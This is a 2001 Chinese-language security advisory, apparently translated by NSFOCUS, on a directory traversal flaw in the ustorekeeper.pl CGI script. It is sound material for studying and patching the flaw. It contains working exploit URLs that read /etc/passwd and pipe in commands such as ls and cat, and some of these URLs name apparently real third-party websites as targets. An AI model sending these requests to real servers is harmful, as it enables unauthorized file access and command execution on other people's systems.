安全研究
安全漏洞
ustorekeeper.pl目录遍历漏洞
发布日期:2001-04-04
更新日期:2001-04-04
受影响系统:
ustorekeeper.pl version 1.61 (可能包括其他版本)
描述:
向受此问题影响的目标主机提交如下URL请求,
http://www.vulnurable.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/hosts
http://www.vulnurable.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../bin/ls |
由于ustorekeeper.pl在处理输入时没有过滤"../",导致远程用户可以遍历服务器文
件系统,访问那些本来不该被访问到的文件,比如/etc/passwd。
<* 来源:XblP /UkR security team (
www.ukrteam.ru)/GiN group (
www.gin.sh) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
参看漏洞描述
http://www.lynchs.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd
http://www.madamealexanderdollmuseum.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../../../../
bin/cat%20ustorekeeper.pl |
建议:
一个临时解决办法是过滤URL请求串中的"../"
# this will help in somewhat...
$input =~ s/[(\.\.)|\/]//g;
浏览次数:3998
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |